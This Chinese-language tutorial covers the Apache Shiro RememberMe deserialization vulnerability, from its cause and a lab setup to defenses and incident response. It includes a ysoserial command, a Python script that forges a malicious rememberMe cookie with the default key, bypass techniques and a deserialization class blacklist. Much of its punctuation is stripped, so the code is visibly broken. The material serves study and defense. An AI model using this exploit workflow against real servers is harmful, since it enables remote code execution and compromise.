1. 项目概述为什么Shiro反序列化漏洞是攻防演练的“必修课”如果你是一名Java开发者或者对应用安全感兴趣那么“Shiro反序列化漏洞”这个名字你一定不陌生。它几乎成了近年来Java Web安全领域的一个标志性议题在各大CTF比赛、红蓝对抗演练和真实渗透测试中频频亮相。我最初接触这个漏洞是在一次内部的安全审计中一个看似配置完备的Spring Boot Shiro应用却因为一个不起眼的“记住我”功能被悄无声息地拿下了权限。从那时起我就意识到理解这个漏洞绝不仅仅是记住几个利用工具和Payload那么简单它背后是一整套关于Java安全机制、加密算法误用和框架设计理念的深刻博弈。简单来说Apache Shiro是一个强大且易用的Java安全框架提供了身份认证、授权、加密和会话管理等功能。而其反序列化漏洞的核心就藏匿在它用于持久化用户会话信息的“记住我”RememberMe功能里。攻击者通过构造一个恶意的序列化对象并利用Shiro默认的、硬编码的AES加密密钥对其进行加密生成一个伪造的rememberMeCookie。当这个Cookie被发送到服务端时Shiro会用它自带的密钥进行解密解密后的数据会被自动反序列化从而触发远程代码执行RCE。这个过程听起来有点绕但本质就是框架开发者为了方便使用固定密钥无意中给攻击者留下了一把“万能钥匙”让攻击者可以伪造任何他们想让服务器执行的指令。这场攻防博弈的魅力在于它不是一个静态的漏洞。从最初的简单利用到密钥的遍历、各种绕过姿势的出现再到防护方案的层层升级攻防双方在加密、编码、类加载、依赖利用等多个层面展开了持续较量。对于防守方开发者、安全工程师而言理解其原理是构建有效防御的基石对于攻击方白帽子、安全研究员而言掌握其利用链是检验系统脆弱性的关键。因此无论你站在哪一方深入剖析Shiro反序列化漏洞都是一次极佳的安全思维训练。2. 漏洞原理深度拆解AES密钥与Java反序列化的“危险联姻”要真正理解这个漏洞我们需要拆开“反序列化漏洞”和“Shiro实现”这两个部分来看它们的结合点就是那个要命的默认AES密钥。2.1 反序列化漏洞的通用原理在Java中序列化是将对象的状态信息转换为可以存储或传输的形式字节流的过程反序列化则是其逆过程将字节流恢复为对象。许多Java应用会使用序列化机制来持久化数据或进行网络通信。反序列化漏洞的根源在于Java在反序列化一个对象时会自动调用该对象的readObject()方法。如果某个可序列化的类尤其是存在于Classpath中的第三方库的readObject()方法中存在危险操作比如执行命令、反射调用某些方法那么当攻击者能够控制反序列化的数据源时就可以构造一个恶意的序列化字节流让服务端在反序列化时执行这些危险操作。常见的“危险”类库包括Apache Commons Collections、Groovy、Spring AOP等它们提供了一些能在反序列化时被“触发”的 gadget chain利用链。注意这里的关键是“攻击者能够控制反序列化的数据源”。在Shiro的场景下这个数据源就是经过AES解密后的rememberMeCookie值。2.2 Shiro的“记住我”功能如何成为入口Shiro的RememberMeManager接口负责处理“记住我”逻辑。默认实现是CookieRememberMeManager。它的工作流程如下序列化与加密登录时用户成功登录并勾选“记住我”后Shiro会将用户的身份信息Principal序列化成字节数组然后用AES算法CBC模式PKCS5Padding进行加密最后做Base64编码设置为名为rememberMe的Cookie返回给浏览器。解密与反序列化后续请求时当用户再次访问时浏览器会自动带上这个Cookie。Shiro会提取Cookie值先进行Base64解码然后用AES密钥解密最后将解密得到的字节数组进行反序列化还原出用户身份实现自动登录。漏洞的致命点在于在1.2.4及以前版本的Shiro中AES加密的密钥是硬编码在源码中的。具体位置在org.apache.shiro.mgt.AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性。这个密钥是公开的kPHbIxk5D2deZiIxcaaaA。这意味着任何使用默认配置的Shiro应用全世界都使用同一把钥匙来锁“记住我”这个功能。攻击者只要知道了这个流程就可以自己用这把钥匙“造锁”——即伪造一个包含恶意序列化对象的Cookie。2.3 漏洞利用链的构成单纯的密钥泄露并不直接导致RCE它只是提供了“伪造数据”的能力。真正的杀伤力来自于反序列化环节。攻击者需要构造一个有效的Java反序列化利用链Gadget Chain。这条链通常由以下几部分组成触发源Sink最终执行恶意代码的地方例如Runtime.exec()或ProcessBuilder.start()用于执行系统命令。传递链Chain一系列类的readObject()、hashCode()、equals()、compareTo()等方法它们像多米诺骨牌一样被依次调用将执行流程从反序列化入口引导到触发源。启动点Entry Point反序列化过程本身在Shiro里就是CookieRememberMeManager的getRememberedPrincipals方法。在Shiro漏洞的早期利用中最经典的就是利用Apache Commons Collections库版本3.2.1及以下或4.0以下中的Transformer、InvokerTransformer、ChainedTransformer等类构造的利用链。这条链可以在反序列化时通过动态代理和反射机制最终调用任意方法包括执行命令。所以完整的攻击路径可以概括为攻击者利用公开的AES默认密钥加密一条精心构造的、基于Commons Collections的恶意序列化链将其作为rememberMeCookie发送给Shiro服务端。Shiro用同样的密钥解密后在反序列化时触发利用链执行攻击者指定的系统命令。3. 攻击实战从环境搭建到漏洞利用理解了原理我们动手复现一下。这里我们搭建一个最简单的脆弱环境并使用两种主流工具进行利用演示。请务必在授权的虚拟机或隔离环境中进行所有操作切勿对未授权目标进行测试。3.1 搭建漏洞测试环境我们使用一个经典的漏洞靶场vulhub中的Shiro漏洞环境它集成了所有必要的依赖。# 1. 下载并进入vulhub的Shiro漏洞目录 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 # 2. 使用docker-compose一键启动环境 docker-compose up -d # 3. 查看容器是否启动成功及端口映射通常是8080端口 docker-compose ps环境启动后访问http://your-ip:8080应该能看到一个简单的登录页面。这个环境使用了Shiro 1.2.4并且包含了存在漏洞的commons-collections 3.2.1库。3.2 利用工具一ShiroAttack2图形化利器对于初学者或需要快速检测的场景图形化工具非常友好。ShiroAttack2是一款集成度很高的国产工具。检测漏洞与密钥在工具地址栏输入目标URL点击“检测”。工具会自动发送多个Payload检测是否存在Shiro漏洞并爆破可能的AES密钥。Shiro在后续版本中虽然修改了默认密钥但很多开发者会在配置文件中自定义密钥且常常使用弱密钥。工具内置的密钥字典能有效发现这类问题。利用漏洞检测到漏洞和有效密钥后在“利用”界面选择命令执行模块。输入要执行的命令如whoami选择对应的利用链如CommonsCollectionsK1点击“攻击”。获取回显工具会生成加密后的Cookie并发送请求如果成功会在下方回显区看到命令执行的结果。实操心得ShiroAttack2的密钥爆破功能非常实用。在实际渗透中遇到Shiro站点第一步就是用它的密钥字典跑一遍经常能有意想不到的收获。它的图形化操作也简化了Payload的生成和发送过程。3.3 利用工具二ysoserial Python脚本理解本质想要更深入地理解过程我们可以手动组合利用链。ysoserial是一个著名的Java反序列化利用链生成工具。生成恶意序列化数据# 使用ysoserial生成一个执行touch /tmp/success的CommonsCollectionsK1利用链 java -jar ysoserial.jar CommonsCollectionsK1 touch /tmp/success payload.ser这会产生一个包含恶意指令的序列化字节文件payload.ser。使用Python脚本进行AES加密并发送 我们需要编写一个Python脚本模拟Shiro的加密过程读取payload.ser用已知的AES密钥默认或爆破得到的进行CBC模式加密然后做Base64编码最后将其设置为Cookie发起HTTP请求。import base64 import urllib.request from Crypto.Cipher import AES from Crypto.Util.Padding import pad # 1. 读取利用链文件 with open(payload.ser, rb) as f: payload f.read() # 2. AES-CBC加密 (使用Shiro默认密钥) key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) cipher AES.new(key, AES.MODE_CBC, ivkey[:16]) # Shiro使用密钥的前16位作为IV encrypted cipher.encrypt(pad(payload, AES.block_size)) # 3. Base64编码 rememberMe base64.b64encode(encrypted).decode() # 4. 构造请求 url http://target-ip:8080/ headers {Cookie: frememberMe{rememberMe}} req urllib.request.Request(url, headersheaders) try: response urllib.request.urlopen(req) print(Request sent. Check if /tmp/success is created on target.) except Exception as e: print(fRequest error (may still be successful): {e})执行这个脚本后如果目标存在漏洞就会在服务器上创建文件/tmp/success。注意事项手动利用时需要确保本地的Python环境安装了pycryptodome库pip install pycryptodome。更重要的是要确保生成的利用链如CommonsCollectionsK1与目标服务器上的库版本匹配。如果不匹配反序列化时会因为找不到类而失败。3.4 利用链的演进与绕过随着防护的加强传统的CommonsCollections链可能失效。攻击技术也在进化无依赖链No CC Chain针对目标环境没有CommonsCollections库的情况研究者发现了利用Shiro自身依赖如commons-beanutils或JDK内部类如SignedObject构造的利用链降低了外部依赖要求。Padding Oracle AttackCBC字节填充攻击这是一种针对CBC加密模式的攻击。如果服务器在解密失败时返回不同的错误信息例如“解密错误”和“反序列化错误”攻击者可以通过精心构造的密文结合服务器的错误反馈逐步推算出AES密钥。即使开发者修改了默认密钥如果密钥强度不够也可能通过此方法破解。利用ClassLoader动态加载恶意类这是更高级的利用方式。攻击者先上传一个包含恶意类的Jar文件到服务器可访问的路径如通过文件上传漏洞然后通过Shiro反序列化漏洞构造一个Payload让服务器使用URLClassLoader去加载这个远程Jar并实例化其中的恶意类。这种方式完全摆脱了对目标服务器现有Classpath中“危险类”的依赖。4. 防御方案与实战加固指南知道了如何攻击防守就有了明确的方向。防御Shiro反序列化漏洞是一个多层次的工作。4.1 根本性解决方案升级与密钥管理立即升级Shiro版本将Apache Shiro升级到1.2.5及以上版本。这些版本移除了硬编码的默认密钥并在启动时如果检测到使用默认密钥会抛出异常强制开发者进行配置。使用强随机密钥在Shiro配置文件中如shiro.ini或Spring Boot的application.properties必须配置一个自定义的、强随机密钥。# shiro.ini 示例 securityManager.rememberMeManager.cipherKey base64:your_strong_random_base64_encoded_key_here# Spring Boot application.yml 示例 shiro: rememberMe: cipherKey: your_strong_random_base64_encoded_key_here生成强密钥的方法使用安全的随机数生成器生成至少128位16字节的密钥然后进行Base64编码。import org.apache.shiro.crypto.AesCipherService; import java.util.Base64; AesCipherService cipherService new AesCipherService(); byte[] key cipherService.generateNewKey().getEncoded(); String base64Key Base64.getEncoder().encodeToString(key); System.out.println(Your new key: base64Key);4.2 应用层防护禁用与过滤非必要则禁用如果应用不需要“记住我”功能最彻底的方法是在配置中完全禁用它。Bean public RememberMeManager rememberMeManager() { // 返回一个不做任何操作的RememberMeManager return new CookieRememberMeManager() { Override public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { return null; // 直接返回null不处理任何rememberMe cookie } }; }反序列化过滤器在全局或关键入口处对反序列化操作进行过滤。可以使用Java自带的ObjectInputFilterJDK 9或第三方库如SerialKiller。配置一个白名单只允许反序列化应用必要的、安全的类。// 一个简单的示例思路在接收到Cookie后反序列化前进行拦截 public class SafeObjectInputStream extends ObjectInputStream { private static final SetString BLACKLIST Set.of( org.apache.commons.collections4., org.apache.commons.collections., com.sun., javax.management., // ... 其他已知的危险类或包 ); Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); for (String forbidden : BLACKLIST) { if (className.startsWith(forbidden)) { throw new InvalidClassException(Unauthorized deserialization attempt, className); } } return super.resolveClass(desc); } }4.3 架构与运维层加固依赖库安全管理定期使用OWASP Dependency-Check、Maven的versions:display-dependency-updates或GitHub的Dependabot等工具扫描项目依赖及时将commons-collections等已知存在危险利用链的库升级到安全版本如commons-collections4的4.4版本以上。但请注意升级依赖可能只是让已知的利用链失效并不能根治反序列化问题。最小化依赖原则移除工程中非必要的依赖。特别是那些已知存在反序列化gadget的库如果业务用不到坚决剔除。WAF/IPS规则在Web应用防火墙或入侵防御系统中可以部署规则来检测和拦截特征明显的Shiro攻击Payload例如对rememberMeCookie值的长度、Base64解码后的模式进行异常检测。网络隔离与权限控制确保应用服务器运行在最小权限账户下限制其网络出站连接防止反弹Shell对文件系统操作进行监控。这样即使被攻破攻击者能造成的破坏也有限。5. 高级攻防博弈与疑难排查在实际对抗中情况往往比实验室环境复杂得多。下面分享一些进阶场景和排查思路。5.1 攻击端常见问题与排查问题现象可能原因排查思路工具检测显示“非Shiro框架”目标可能不是Shiro或路径不对尝试访问/login等常见Shiro路径检查HTTP响应头看是否有Set-Cookie: rememberMedeleteMeShiro注销时的特征。检测到Shiro但密钥爆破失败1. 密钥不在字典中2. 目标使用了非AES算法极罕见3. 网络问题导致Payload未正确触发1. 扩大密钥字典范围尝试常用弱口令变形。2. 使用Padding Oracle攻击尝试。3. 抓包确认Payload是否发送成功观察服务器返回的错误差异。密钥正确但利用不成功1. 利用链不匹配目标无对应库2. JDK版本过高存在限制3. 存在反序列化过滤器1. 换用其他利用链尝试如CommonsBeanutils1、JRMPClient等。2. 尝试使用低版本JDK生成的Payload或使用针对高版本JDK的利用链。3. 尝试使用内存马等不依赖反序列化触发的方式。命令执行成功但无回显网络限制无出网、命令被拦截、回显方式问题1. 尝试DNSLog、HTTPLog外带数据。2. 尝试写入Web目录文件。3. 使用编码后的命令或无回显的Payload如反弹Shell。5.2 防守端疑难排查与应急响应当监控告警或扫描器提示可能存在Shiro漏洞时应按以下步骤紧急排查确认Shiro版本检查pom.xml或gradle.build中shiro-core的版本号。如果≤1.2.4风险极高。检查密钥配置全局搜索代码和配置文件中的cipherKey、rememberMeManager等关键词。确认是否使用了自定义的强密钥。警惕配置文件中的注释掉的默认密钥示例开发者有时会直接取消注释使用。分析依赖树运行mvn dependency:tree或gradle dependencies查看是否存在commons-collections:3.2.1等已知存在利用链的低版本库。日志分析重点查看应用日志中是否有反序列化相关的异常堆栈特别是java.io.InvalidClassException、org.apache.commons.collections等关键词。Shiro解密失败通常会记录DecryptionException。服务器排查检查服务器上是否有可疑进程、计划任务、网络连接如netstat -antp以及Web目录下是否有新增的陌生文件如.jsp、.jar木马。5.3 红蓝对抗中的思考在真实的攻防演练中Shiro漏洞的利用往往不是终点而是起点。对于红队攻击方获取一个Webshell后应立即进行权限维持、内网信息收集和横向移动。Shiro漏洞通常提供的是Web容器进程权限需要尝试提权、抓取数据库密码、读取配置文件寻找内网其他资产信息。利用JNDI注入、内存马等技术实现无文件持久化是当前的主流。对于蓝队防守方不能仅满足于修复这一个漏洞。需要建立纵深防御体系网络层面划分区域隔离主机层面安装HIDS主机入侵检测系统监控进程和文件异常应用层面推行SDL安全开发生命周期在代码提交时进行依赖和安全编码规范扫描运营层面建立完善的日志集中分析和安全事件应急响应流程。一个Shiro漏洞的告警应该能触发从应用、主机到网络的全链条排查。这场围绕Shiro反序列化的博弈清晰地展示了一个道理安全是一个动态的过程。一个框架的默认便利性可能带来巨大的安全隐患一个漏洞的利用方式会随着防护的加强而不断进化。作为开发者摒弃“默认即安全”的思维主动管理密钥和依赖作为安全人员既要深入理解漏洞原理以有效防御也要跟上攻击技术的变化以验证防御的有效性。唯有如此才能在持续的攻防对抗中守住阵地。
